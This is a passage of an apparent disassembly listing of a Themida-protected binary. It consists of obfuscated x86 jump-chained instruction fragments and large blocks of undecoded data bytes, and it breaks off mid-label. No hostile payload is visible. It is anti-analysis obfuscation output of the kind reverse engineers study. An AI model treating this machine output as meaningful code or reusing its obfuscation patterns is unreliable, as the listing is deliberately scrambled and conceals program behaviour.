4C1h, 2C18300h, 5C240C87h, 0C004D800h dd 83241C8Bh, 0EC8104C4h, 4, 81241489h, 4ECh, 0CC4DE900h dd 0E630FFFFh, 35E95866h, 81FFFFB0h, 485047C1h, 81F1012Ch dd 485047E9h, 0F9015E2Ch, 54E90103h, 29FFFFDBh, 24148BD3h dd 0FFD60BE9h, 4C481FFh, 0F000000h, 1DE9C0B6h, 83000014h dd 3E904ECh, 1FFFFBAh, 0EC815DEFh, 4, 68241489h, 2C12h dd 0B9240C89h, 609A59C6h, 0FFDEA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E705: ; CODE XREF: Themida_:0054C234j push 2733h mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edi mov edi, 6B7222FFh push ecx mov ecx, 2BDA121Bh shl ecx, 6 jmp loc_54A753 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 88240489h, 8BE588DCh, 0C4832404h, 2434FF04h, 4C4815Bh dd 0E9000000h, 0FFFF8FD6h ; --------------------------------------------------------------------------- loc_54E754: ; CODE XREF: Themida_:00544CA0j and eax, edi pop edi jmp loc_54744A ; --------------------------------------------------------------------------- dd 53FFC683h, 102B3BBBh, 71B8503Eh, 0C11F797Bh, 0AC0508E8h dd 0E94AD5F9h, 0FFFF8DDFh ; --------------------------------------------------------------------------- loc_54E778: ; CODE XREF: Themida_:0054EE90j add esp, 4 sub edi, 64D320D9h sub edi, 581A6774h add edi, ecx push ebx mov ebx, 581A6774h add edi, ebx pop ebx push ebx mov ebx, 64D320D9h add edi, ebx pop ebx push 11B0h mov [esp], ebx mov ebx, 1110DFFh add ebx, 1CDB1042h sub ebx, 0A27EF86Bh push ecx jmp loc_54F793 ; --------------------------------------------------------------------------- db 59h, 81h, 0C4h dd 4, 22Dh, 74FF5000h, 0E9580424h, 0FFFF8C49h, 8904EC83h dd 0ECB9240Ch, 57001D54h, 0E67509BFh, 5FF92912h, 0A3E95356h dd 5DFFFF73h, 4EC835Bh, 0FF594AE9h, 0B3EE80FFh, 665AF530h dd 28D4B652h, 0F2E2E9F5h, 8147FFFFh, 5A249AE7h, 4F78116h dd 2D001220h, 0AC96A53h, 5305F801h, 5F0AC96Ah, 0E9240433h dd 0FFFF61A4h, 482DD829h, 6823EA37h, 2B6Fh, 0BE243489h dd 76D91330h, 1B7F4A05h, 0E2EAE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E84A: ; CODE XREF: Themida_:0054AA50j xor dx, 5191h jmp loc_5467DC ; --------------------------------------------------------------------------- dd 4BB53h, 0DF010000h, 2C7815Bh, 87000000h, 248B243Ch dd 0AB0F6624h, 0E99C2404h, 0FFFF51ACh, 0BA241489h, 0FA3CEAB1h dd 815AD029h, 4ECh, 24048900h, 24048B5Bh, 60F068h, 7077E900h dd 58FFFFh, 2434FFC8h, 4C48159h, 0FF000000h, 555B2434h dd 0C5815D54h, 4, 4C581h, 2C870000h, 0D6E95C24h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8BF: ; CODE XREF: Themida_:0054525Bj mov [esp], eax mov eax, 25BC7874h sub edx, eax pop eax push edx sub dword ptr [esp], 3B546EFAh pop ecx add ecx, 3B546EFAh pop edx sub eax, ecx pop ecx jmp loc_5460FA ; --------------------------------------------------------------------------- dw 21B2h dd 0BFE9D730h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8EB: ; CODE XREF: Themida_:0054DC8Aj dec edx inc edx add edx, 0FC92032h mov ebp, 410C2BEBh xor ebp, edx pop edx mov edx, 845AB6CFh jmp loc_54E620 ; --------------------------------------------------------------------------- db 57h, 0E9h, 0EBh dd 0FFFF6Ch, 43E953D0h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E913: ; CODE XREF: Themida_:0054E3CAj add esi, 15A249BBh and esi, 49EA1D75h neg esi jmp loc_54CB1F ; --------------------------------------------------------------------------- a34QP0iy db '34$\Qµ0ëY',0 db 0D8h, 5Bh, 80h dd 0EAE9C7C3h, 50FFFF52h, 4B8h, 58C18900h, 0FFDABCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E949: ; CODE XREF: Themida_:00544799j mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add eax, 4 add eax, 4 jmp loc_547E77 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 81h dd 53179BE6h, 681BE90Ah, 575DFFFFh, 3A7A0CBFh, 40685665h dd 5E2BEA41h, 0FFD955E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E98D: ; CODE XREF: Themida_:00549FA7j xchg edi, [esp] jmp loc_54AFAB ; --------------------------------------------------------------------------- db 81h, 0F6h, 5 dd 894B5BDCh, 0C1015EF0h, 8324048Bh, 0A4E904C4h, 64FFFFC9h dd 2B60F66h, 35EE6866h, 24048966h, 0FFD7BEE9h, 0B45051FFh dd 58E5883Eh, 803FF580h, 90E990F5h, 59FFFFBCh, 0FF5A64E9h dd 95E953FFh db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E9DB: ; CODE XREF: Themida_:00549721j pop dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp push ecx mov ecx, 25320CA9h xor ecx, 3C0C7B64h jmp loc_54410A ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C7010000h, 5624048Bh, 0C681E689h, 4, 0FFEF7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA0D: ; CODE XREF: Themida_:0054D88Fj push ebx sub dword ptr [esp], 16A42CE5h pop edi add edi, 16A42CE5h push edx mov edx, edi jmp loc_54B7AA ; --------------------------------------------------------------------------- loc_54EA24: ; CODE XREF: Themida_:0054CE47j add eax, 4 xor eax, [esp] jmp loc_54FB76 ; --------------------------------------------------------------------------- db 33h dd 0D0E92404h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA37: ; CODE XREF: Themida_:0054D8D2j push 193Dh jmp loc_54A7F3 ; --------------------------------------------------------------------------- db 56h, 68h, 4 dd 5E000000h, 685EF701h, 0A79h, 68240489h, 2, 0FFB563E9h dd 0EC835CFFh, 24148904h, 42474FFh, 8324148Bh, 48F04C4h dd 24248B24h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF6F6Ch dd 2C3835Fh, 31241C33h, 1C33241Ch, 24248B24h, 240C8B66h dd 0E9E08950h, 0FFFFC964h ; --------------------------------------------------------------------------- loc_54EAA0: ; CODE XREF: Themida_:00549112j or eax, eax jz loc_54FA98 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ecx push 530Fh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 push esi mov esi, 4 jmp loc_54686E ; --------------------------------------------------------------------------- db 81h, 0F1h, 77h aFUrqPcs db '”ÖURQ¹PcS',0 dw 0E981h dd 800DA623h, 5259CA89h, 0CD015A5Dh, 0FF5BBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EAF9: ; CODE XREF: Themida_:00547B38j shl edx, 1 push 2A53h mov [esp], esi push 100838D3h pop esi sub esp, 4 mov [esp], edi push edx mov edx, 100838D2h mov edi, edx pop edx jmp loc_547B67 ; --------------------------------------------------------------------------- loc_54EB20: ; CODE XREF: Themida_:0054D4E1j push 2524h mov [esp], ecx jmp loc_5443E8 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5F04h, 88645C24h, 6048E902h, 0C89FFFFh, 0C450E924h dd 5966FFFFh, 0E903EAC0h, 0FFFF67C5h, 5C241487h, 50240C89h dd 50520EB0h, 0FFB950E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EB61: ; CODE XREF: Themida_:0054BDE0j mov edx, [esp] add esp, 4 loc_54EB67: ; CODE XREF: Themida_:00546AFAj push ebx push ebp mov ebp, 37AE662Bh xor [esp+4], ebp push dword ptr [esp] pop ebp add esp, 4 pop eax jmp loc_5476B0 ; --------------------------------------------------------------------------- dw 6068h dd 89000039h, 18E9240Ch, 9FFFF7Bh, 0C2815FFAh, 0EA09B10Eh dd 815AD389h, 5021D9EFh, 923AE919h, 8B66FFFFh, 0EC83240Ch dd 24048904h, 0CCE9E089h, 28FFFFB3h, 0E95B66F8h, 0FFFFBC01h dd 0E908EBC1h, 0FFFF834Fh, 0FF3877FFh, 0C8B2434h, 0E1895124h dd 418E9h, 58C28800h, 0F69FC280h, 80D2F6DAh, 0CAFE16C2h dd 0D7F6FA86h, 0F280FA86h, 4A4B6801h, 4890000h, 88D08824h dd 805A58C5h, 0C5FEDAE5h, 6604E5C0h, 0E7A0E952h, 0EBC1FFFFh dd 85CB8107h, 0E937451Fh, 0FFFFEBA2h, 1EBDC381h, 0C3814523h dd 39473AFEh, 0FF71B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EC2D: ; CODE XREF: Themida_:0054D331j push ecx mov ecx, 3AE06803h sub ebp, ecx pop ecx jmp loc_544572 ; --------------------------------------------------------------------------- db 5Fh dd 147A302Dh, 551C052Fh, 0E8016D50h, 50551C2Dh, 7A30056Dh dd 33052F14h, 5D284637h, 1D68h, 24148900h, 4A31ABBAh, 98F2810Fh dd 52246269h, 5A2414F7h, 7AFBE956h, 5052FFFFh, 0FF587DE9h dd 24348BFFh, 0FF6E6BE9h, 0C8B66FFh, 4EC8324h, 0FF8709E9h dd 48B04FFh, 0C8B66F4h, 2C48324h, 57CA68h, 7475E900h, 55ACFFFFh dd 0C5815D54h, 4, 4ED81h, 0FF550000h, 5D042474h, 5C24048Fh dd 0B2241489h, 66DAF61Ch, 0AE33E953h, 2489FFFFh, 24048124h dd 4, 4C5815Dh, 83000000h, 2C8704C5h, 0C4835C24h, 80DCE904h dd 12DFFFFh, 55000000h, 0AB3E15BDh, 5DE8295Eh, 0D22E9h db 0 ; --------------------------------------------------------------------------- loc_54ED01: ; CODE XREF: Themida_:00545D1Cj xor ebp, 3A0294h add ecx, ebp pop ebp xchg ecx, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push dword ptr [esp] pop eax push 14C2h mov [esp], edi jmp loc_54BED9 ; --------------------------------------------------------------------------- db 88h, 0CFh, 0E9h dd 26Fh, 63D96866h, 6602EC83h, 0E9242489h, 0FFFF6939h dd 852F768h, 52535E54h, 0EE1DE956h, 0E828FFFFh, 36E9h dd 6800h, 0C8E90000h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED5F: ; CODE XREF: Themida_:0054D3DAj add bl, al jmp loc_54964C ; --------------------------------------------------------------------------- dw 0B652h dd 5AF188E1h, 6866C9FEh, 89667AB1h, 7EB22414h, 5A66D120h dd 0E180C1FEh, 0A7B45099h, 2EE9E130h, 59FFFFB9h, 0FFFB7AE9h dd 5FFD29FFh, 875DE901h, 248B240Ch, 81575324h, 44432404h dd 815B632Dh, 2D4443EBh, 0E7895763h, 4C781h, 0EF810000h dd 4, 5C243C87h, 89240489h, 148B50D8h, 0E6E7E924h, 5652FFFFh dd 7D4488BEh, 0C1ECE97Ch, 0C381FFFFh, 429044A8h, 0BD55FB01h dd 37B326Eh, 0FFFFB951h, 0C581FFFFh, 447E0421h, 0ED81CD01h dd 447E0421h, 0FFFBCEE9h, 0B2F381FFh, 29D51201h, 0C2895BD8h dd 0FFD30158h, 815A2434h, 4C4h, 6AE95500h, 8BFFFF90h, 0C4832404h dd 8982D04h, 0C7011B09h, 2C78158h, 0E9000000h, 0FFFFB1C6h ; --------------------------------------------------------------------------- loc_54EE38: ; CODE XREF: Themida_:00546244j push 364E2DD2h mov edi, [esp] add esp, 4 dec edi xchg edx, edi push edx not dword ptr [esp] pop edx xchg edx, edi jmp loc_54AF21 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 89240C89h, 4C181E1h, 83000000h, 0C3304C1h, 240C3124h dd 5C240C33h, 55E18951h, 572D29BDh, 68A3E972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE7E: ; CODE XREF: Themida_:005461D3j pop ebp jmp loc_5497C9 ; --------------------------------------------------------------------------- loc_54EE84: ; CODE XREF: Themida_:00543E6Ej pop esp push ebp mov ebp, 7B6D25D6h sub edi, ebp mov ebp, [esp] jmp loc_54E778 ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 2 dd 0FF9EEBE9h, 89575CFFh, 8D84E9E7h, 0D2F6FFFFh, 0E980F280h dd 0FFFF8F22h, 0AE9988BAh, 0E9EA2984h, 0FFFF76C9h, 0E949C280h dd 0FFFFB2AFh ; --------------------------------------------------------------------------- loc_54EEC4: ; CODE XREF: Themida_:005461A2j mov [esp], edx jmp loc_5478A9 ; --------------------------------------------------------------------------- dd 0E10CE950h, 483FFFFh, 8AE90424h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EEDB: ; CODE XREF: Themida_:005458BCj pop ecx dec esi push esi inc dword ptr [esp] pop esi jmp loc_54B383 ; --------------------------------------------------------------------------- db 89h dd 5A542414h, 0FF6A5BE9h, 0DDB252FFh, 148BD388h, 4C48124h dd 0F6000000h, 6E3C0D3h, 14096866h, 24048966h, 0EDE90FB0h dd 87FFFF5Eh, 815C2414h, 4C4h, 2434FF00h, 0FF5563E9h, 34FF5CFFh dd 2434FF24h, 0E924048Bh, 0FFFFA805h, 5166C7FEh, 0CF28B8B1h dd 0FFB637E9h, 89515CFFh, 4C181E1h, 0E9000000h, 0FFFFF6BAh dd 0E9241C8Bh, 0FFFFB478h, 8473E950h, 0C383FFFFh, 241C8704h dd 6E9535Ch, 81FFFFE9h, 231EBDEBh, 0E9C30145h, 0FFFFFCA4h ; --------------------------------------------------------------------------- loc_54EF78: ; CODE XREF: Themida_:0054B86Dj push 52F6h mov [esp], ebx mov ebx, esp add ebx, 4 push esi push ebx mov ebx, 735853CDh xor ebx, 735853C9h jmp loc_548A64 ; --------------------------------------------------------------------------- dw 81E9h dd 59FFFF4Ah, 8BE70058h, 0C4812404h, 4, 0FF7756E9h, 6DE943FFh dd 8BFFFFE8h, 89502434h, 405E0h, 4050000h, 0E9000000h dd 0FFFF734Eh, 79E9D828h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EFD3: ; CODE XREF: Themida_:0054ABDFj and ebx, 20004328h add ebx, 0AF6C0BBEh mov ecx, ebx pop ebx add eax, ecx mov ecx, [esp] add esp, 4 mov edx, eax jmp loc_54690F ; --------------------------------------------------------------------------- db 56h, 0E9h, 61h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EFF7: ; CODE XREF: Themida_:00549CF6j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_547798 ; --------------------------------------------------------------------------- dd 2C581h, 2C870000h, 0E6FEE924h, 468FFFFh, 5B000000h dd 0FF6D4EE9h, 0D830ACFFh, 73ED68h, 24148900h, 0FFD2E4E9h dd 0C1EAD1FFh, 0EAD102E2h, 14C2F281h, 0D7095B60h, 92EF815Ah dd 81BC0093h, 32CBDC7h, 0A8EF8138h, 0E9333968h, 0FFFF76C6h dd 0F65AD720h, 2C8E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F05E: ; CODE XREF: Themida_:0054E61Bj sub eax, 543B563Eh add ebx, eax pop eax add ebx, 4 jmp loc_5464AD ; --------------------------------------------------------------------------- dw 0F281h dd offset dword_43E5AC+5A76h dd 65E9D301h, 8BFFFF86h, 0F7662424h, 976866E9h, 14896629h dd 9C506624h, 0FF498FE9h, 0B95157FFh, 2D02005Dh, 3F83C181h dd 0C149162Fh, 0C18108E1h, 4ED0949h, 44E9CF89h, 0C0FFFFD0h dd 0EC8305EDh, 4896602h, 0B5516624h, 0EF885301h, 665BF888h dd 66C50059h, 1A686658h, 1C896650h, 0B9B65224h, 9E9F788h dd 8BFFFF6Eh, 5451240Ch, 50240C8Bh, 405E089h, 5000000h dd 4, 0E9240487h, 0FFFFE9E6h, 4103C381h, 0D3F713A2h, 3ECCB951h dd 0CB31EC3Dh, 8BDA0159h, 0C481241Ch, 4, 5C241487h, 0FF6725E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F11D: ; CODE XREF: Themida_:0054D8BAj push eax mov eax, esp add eax, 4 jmp loc_54DF56 ; --------------------------------------------------------------------------- dw 0F189h dd 0E959CB89h, 0FFFF6362h, 0F2753005h, 55F02954h, 0F27530BDh dd 0E9E82954h, 0FFFF970Bh, 0C681C601h, 29612189h, 0E9F20158h dd 0FFFFDECAh ; --------------------------------------------------------------------------- loc_54F158: ; CODE XREF: Themida_:00548D02j mov ecx, 668800E8h add ebx, 0D041030h sub ebx, ecx sub ebx, 0D041030h pop ecx jmp loc_54A61C ; --------------------------------------------------------------------------- loc_54F171: ; CODE XREF: Themida_:00546AE6j pop ebp pop eax sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], eax xchg esi, [esp] xchg ebx, esi not ebx jmp loc_543FDA ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4B850h, 0C2290000h, 24148758h, 2424895Ch, 4240481h dd 5E000000h, 4BF57h, 0FE010000h, 4EE815Fh, 87000000h dd 248B2434h, 242C8924h, 0FFB4AEE9h, 0EA32DFFh, 0E42D03BCh dd 591EE523h, 2BA52h, 2CE90000h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F1DF: ; CODE XREF: Themida_:00548B85j pop ecx push ebx mov bx, 1388h sub bx, 777Bh shl bx, 5 inc bx inc bx xchg dx, bx inc dx xchg dx, bx add bx, 0F81Eh sub si, bx mov ebx, [esp] add esp, 4 or si, 2871h xor si, 0DF99h add bx, si pop esi jmp loc_54BEEC ; --------------------------------------------------------------------------- db 53h dd 0FFD570E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F221: ; CODE XREF: Themida_:005480D9j push dword ptr [esp] mov ecx, [esp] jmp loc_54B154 ; --------------------------------------------------------------------------- dd 7FCC88BAh, 8BD1311Eh, 54562414h, 8324348Bh, 0C68104C4h dd 4, 8704C683h, 0E95C2434h, 0FFFFCBBBh, 33240431h, 665C2404h dd 5FE9F1F7h, 21FFFF67h, 13E91C4Fh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F267: ; CODE XREF: Themida_:0054B1E3j mov [esp], eax push 48373149h pop eax sub esp, 4 mov [esp], edx mov edx, 85C7FDAh add eax, 72CF7517h add eax, edx sub eax, 72CF7517h pop edx push ecx jmp loc_54ABD3 ; --------------------------------------------------------------------------- loc_54F291: ; CODE XREF: Themida_:005447E6j push edx mov edx, 4 add [esp+4], edx pop edx pop eax add eax, 4 push edx jmp loc_54CE2E ; --------------------------------------------------------------------------- loc_54F2A8: ; CODE XREF: Themida_:00548D97j pop dword ptr [eax] jmp loc_543A20 ; --------------------------------------------------------------------------- db 83h dd 516604C4h, 742FE953h, 15DFFFFh, 8B04246Ch, 8950242Ch dd 405E0h, 4050000h, 50000000h, 42474FFh, 24048F58h, 8AC6E95Ch dd 0C8BFFFFh, 4C48124h, 5000000h, 4, 0E9240433h, 0FFFF872Ah ; --------------------------------------------------------------------------- loc_54F2F4: ; CODE XREF: Themida_:0054655Fj mov [esp], ebx jmp loc_54BBBF ; --------------------------------------------------------------------------- loc_54F2FC: ; CODE XREF: Themida_:0054F377j sub esp, 4 mov [esp], edx mov ebp, [esp] add esp, 4 pop edx jmp loc_549E1C ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0E9525954h, 0FFFF541Fh ; --------------------------------------------------------------------------- loc_54F31C: ; CODE XREF: Themida_:00548BB8j mov ebx, 4 jmp loc_548E80 ; --------------------------------------------------------------------------- dw 0DFF6h dd 6687CF80h, 0E913F468h, 0FFFF7C17h, 240C8B66h, 291F68h dd 0FBA5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F342: ; CODE XREF: Themida_:0054C09Dj mov esi, [esp] add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] jmp loc_54C122 ; --------------------------------------------------------------------------- loc_54F359: ; CODE XREF: Themida_:00548F4Fj xor esi, edi pop edi and ecx, esi jmp loc_549E04 ; --------------------------------------------------------------------------- db 83h dd 2FE904C4h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F36B: ; CODE XREF: Themida_:0054BC84j add edx, 0BF4EBBh xor edx, 3FA470FCh jmp loc_54F2FC ; --------------------------------------------------------------------------- dd 3ACE815Dh, 8162E26Ch, 0EF6D3AEEh, 5EF00163h, 3304C083h dd 4312404h, 24043324h, 4C4835Ch, 79C46853h, 8F540000h dd 4812404h, 424h, 0BE565B00h, 4, 71E9F301h, 68FFFF63h dd 1CE9h, 0B1240C89h, 0C0C9FE53h, 0F18007E1h, 0E8F18075h dd 0B753E1D0h, 0DEC780E7h, 0DFF780h, 5AE95BF9h, 28FFFFEBh dd 5AA604F0h, 4EC81h, 4E90000h, 81FFFFEBh, 621C02EBh, 81C32927h dd 621C02C3h, 0C3015827h, 8904EC83h, 56512404h, 0A30BF68h dd 3BE95E19h, 0C1FFFF8Bh, 814202EAh, 36E6D0C2h, 5AD701EFh dd 2474FF57h, 48F5F04h, 4F2AE924h, 8B66FFFFh, 54522404h dd 0FF899CE9h, 45DEE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F442: ; CODE XREF: Themida_:00548991j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ecx mov ecx, 21FA4A00h push esi mov esi, 690C69C6h inc esi jmp loc_54518A ; --------------------------------------------------------------------------- dd 8102EEC1h, 0CF9B89C6h, 0C693E9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F472: ; CODE XREF: Themida_:0054BDC7j sub eax, 40312D3Ah jmp loc_543E9E ; --------------------------------------------------------------------------- dd 4C481h, 88510000h, 0F89FE9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F48A: ; CODE XREF: Themida_:0054D5E3j push eax mov eax, 771700C9h xor ebp, eax pop eax xor ebx, ebp jmp loc_547436 ; --------------------------------------------------------------------------- loc_54F49A: ; CODE XREF: Themida_:0054AB1Ej shr ecx, 5 push ebx mov ebx, 63E241E4h xor ebx, 18555203h or ecx, ebx pop ebx push ebx jmp loc_5445C2 ; --------------------------------------------------------------------------- dw 0D5F7h dd 9C43ED81h, 0EB292868h, 148B665Dh, 6C956824h, 4890000h dd 55585424h, 4BDh, 50D20500h, 83E93CB5h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F4DB: ; CODE XREF: Themida_:0054A11Aj add ecx, 0F0C3BDEh and ecx, 3C0F6E91h jmp loc_545A75 ; --------------------------------------------------------------------------- loc_54F4EC: ; CODE XREF: Themida_:0054FBB0j mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_54DACA ; --------------------------------------------------------------------------- dd 247C015Ah, 24448104h, 0D074EA04h, 348B5F7Dh, 0D2F6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F516: ; CODE XREF: Themida_:0054B297j xor edx, edi xor edi, edx sub esp, 4 jmp loc_546B8C ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 9DE90000h, 8BFFFFA3h, 0C483241Ch, 7D02E904h dd 0B951FFFFh, 5C503CDDh, 4941D1F7h, 5DA1C181h, 814198F1h dd 135794E1h, 0F6C18172h, 814E242Fh, 0D06BCEF1h, 0E9CF014Fh dd 0FFFFE20Eh ; --------------------------------------------------------------------------- loc_54F564: ; CODE XREF: Themida_:00547D34j not esi push esi inc dword ptr [esp] jmp loc_548E00 ; --------------------------------------------------------------------------- db 29h dd 13C681DEh, 5B313432h, 0FF743DE9h, 2434FFFFh, 8124048Bh dd 4C4h, 567BE900h, 68FFFFh, 89000072h, 2CE9240Ch db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F59B: ; CODE XREF: Themida_:00548FB3j add ebx, edx push edi push ebx mov ebx, 3C945BA4h mov edi, ebx pop ebx sub ebx, edi pop edi mov ecx, [ebx] pop ebx pop edx push esi sub esp, 4 mov [esp], ecx mov ecx, 9315FE4h shl ecx, 8 sub ecx, 1 xor ecx, 3F0D1E9Ah push eax jmp loc_54C978 ; --------------------------------------------------------------------------- db 0FFh dd 53582434h, 4EC81h, 24890000h, 24048324h, 0C3815B04h dd 4, 4EB81h, 1C870000h, 0A59CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5F6: ; CODE XREF: Themida_:0054FA6Cj add ebx, 0FFFFFFFFh shl ebx, 4 sub ebx, 20577C04h jmp loc_5450C2 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 0E9000000h, 0FFFFAB9Ah ; --------------------------------------------------------------------------- loc_54F614: ; CODE XREF: Themida_:005499E2j pop esi jmp loc_54D94D ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 83000000h, 0C8704C1h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_548DB7 ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 0FFB02DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F63D: ; CODE XREF: Themida_:0054B580j mov ah, 47h push ebx mov bl, 0BEh and ah, bl pop ebx jmp loc_54B894 ; --------------------------------------------------------------------------- dw 8B66h dd 6E92404h, 68FFFFD6h, 4CCEh, 0FF4E1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F65D: ; CODE XREF: Themida_:0054C3EBj add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_543B05 ; --------------------------------------------------------------------------- dw 0FA29h dd 0FF45BFE9h, 0F7DDF7FFh, 49E957D5h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F67F: ; CODE XREF: Themida_:0054C807j push eax pop ebx pop eax jmp loc_549D23 ; --------------------------------------------------------------------------- db 31h dd 3C33243Ch, 24248B24h, 9C2424D3h, 0FF4387E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F699: ; CODE XREF: Themida_:00549A6Ej add esp, 4 xor [esp], esi xor esi, [esp] xor [esp], esi jmp loc_545B89 ; --------------------------------------------------------------------------- dw 515Ch dd 2B9h, 59CA0100h, 8B241487h, 24D22424h, 5DE99C24h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F6C3: ; CODE XREF: Themida_:0054993Bj add esi, 49882C7Dh pop edi jmp loc_54945B ; --------------------------------------------------------------------------- db 0FEh dd 3CF380C3h, 0FEB5EB80h, 9BE380C3h, 28BEEB80h, 0DFE95BD8h dd 0FFFFFFA3h, 34FF2434h, 5FE95824h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F6F3: ; CODE XREF: Themida_:005462D2j sub ecx, 6CF56967h push eax mov eax, 4138080Bh not eax add eax, 1 sub eax, 0A0BE83BBh sub ecx, eax jmp loc_54C691 ; --------------------------------------------------------------------------- loc_54F712: ; CODE XREF: Themida_:00547B7Fj add edx, eax add [edx], esi pop edx jmp loc_54A1DB ; --------------------------------------------------------------------------- loc_54F71C: ; CODE XREF: Themida_:00544A42j add edi, 175C2F45h add edi, edx sub edi, 175C2F45h mov edx, [esp] jmp loc_54C2C4 ; --------------------------------------------------------------------------- dw 8B66h dd 7AE9240Ch, 81FFFF6Fh, 2EBh, 241C8700h, 1489665Ch, 9C506624h dd 0FF42CFE9h, 7E7C1FFh, 0C839F781h, 0E9575DF5h, 0FFFF849Bh dd 5724048Fh, 0FFDB02E9h, 685253FFh, 1C5E708Bh, 0FAF2815Ah dd 5172357Ch, 0E7558FB9h, 59CA2904h, 4DE9D2F7h, 81FFFF5Bh dd 4C4h, 0D8E95100h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F793: ; CODE XREF: Themida_:0054E7B8j mov ecx, 770B30C6h jmp loc_54BF97 ; --------------------------------------------------------------------------- db 0BFh, 62h, 59h dd 0F7813D28h, 3D285960h, 24048157h, 282A3482h, 82EB815Bh dd 5F282A34h, 90E9DA01h, 0C1FFFF9Ah, 0C38108EBh, 3F3B3503h dd 0FF502FE9h, 0B75BB2FFh, 5AD7288Ah, 80FFEF80h, 1EE955CFh dd 54FFFFC1h, 96CFE95Eh, 8B5AFFFFh, 0C4832404h, 4EC8304h dd 0BE243489h, 3DCE00ADh, 7E64352Dh, 0C418E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F802: ; CODE XREF: Themida_:00544C78j xor edi, 719642FEh neg edi jmp loc_547E6C ; --------------------------------------------------------------------------- db 5Fh dd 0FFC078E9h, 2404FEFFh, 4202E99Ch, 0C89FFFFh, 62BE5624h dd 0E957D029h, 0FFFF7BACh, 0E78957ACh, 4C781h, 0BE560000h dd 4, 575EF729h, 42474FFh, 83243C8Bh, 48F04C4h, 24248B24h dd 52241C89h, 0FF6681E9h, 0C8966FFh, 6917E924h, 9F68FFFFh dd 8B697764h, 0C483242Ch, 0A9E95504h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F873: ; CODE XREF: Themida_:0054C990j mov ebp, 0C925E80Bh sub ecx, ebp pop ebp mov esi, ecx push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esi, 0FFFFFFFFh jmp loc_548F49 ; --------------------------------------------------------------------------- dd 0B252812Ch, 0C0DAF6D5h, 0F28007E2h, 80C2FE2Bh, 0D10461F2h dd 0E4E9D000h, 81FFFFB7h, 0BB4A65CDh, 1FC5812Fh, 81504430h dd 1C0458C6h, 0BC78E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8CE: ; CODE XREF: 